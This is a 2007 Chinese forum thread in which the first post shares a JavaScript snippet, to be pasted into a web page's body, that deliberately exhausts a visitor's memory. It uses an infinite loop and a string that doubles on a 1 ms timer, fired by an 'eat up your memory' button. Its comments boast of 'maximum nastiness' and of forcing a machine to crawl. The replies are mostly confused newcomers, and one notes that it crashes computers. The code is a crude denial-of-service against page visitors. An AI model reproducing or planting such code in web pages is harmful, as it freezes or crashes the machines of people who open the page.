恶魔之子 2007-6-12 14:42
[JavaScript]迅速消消耗你的内存
要完成此效果把如下代码加入到<body>区域中[code]<SCRIPT LANGUAGE="JavaScript">
<!-- Begin
function WhileLoopLock()
{
while (true){}
}
var szEatMemory = "GOBBLEGOBBLE" // our string to consume our memory
// Now this function EatMemoryInTime is a interesting one that could be
// placed on a timer for maximum nastiness :> I have been able to get
// up to 4Megs consumed by Netscape forcing my machine to crawl =)
// AND it's time driven! No while loops here!
function EatMemoryInTime()
{
szEatMemory = szEatMemory + szEatMemory // keep appending
window.status = "String Length is: " + szEatMemory.length // report size
window.setTimeout('EatMemoryInTime()',1); // tell netscape to hit this
function
}
// End -->
</SCRIPT>
<center><form><INPUT TYPE="button" value="吃光你的内存" Name="btnEatTime"
onClick="EatMemoryInTime()"></form>[/code]
[[i] 本帖最后由 逃学书童 于 2007-10-2 20:35 编辑 [/i]]
weifengzhulang 2007-6-12 14:52
迅速消消耗你的内存 ?????
这个干嘛 没有说清楚
菜梗 2007-6-12 15:12
什么???
不懂,
说的详细一点,
消耗内存是好事or坏事???
逃学书童 2007-6-23 12:30
楼主标明是什么写的,在解释清楚也许更好些,哈哈 :)
逃学书童 2007-8-29 17:18
我看是个死循环,不过没效果,哈哈!!!
[[i] 本帖最后由 逃学书童 于 2007-8-29 17:21 编辑 [/i]]
逃学书童 2007-8-29 17:22
回复 #3 菜梗 的帖子
是坏事,内存用光就死机了。
6639828tang 2007-8-29 20:35
:Q 能说明白点吗?怎么加入boby里 又怎么运行脚本?
wzwzwz9999 2007-8-29 21:51
这是什么东西呀:L :L :L
dragonfly0427 2007-9-17 21:12
迅速消消耗你的内存
是用JAVA编的,
现在不懂,
还需多多努力。
6639828tang 2007-9-17 21:21
:L 恶魔真是误导新手。郁闷。说明白点。这是脚本?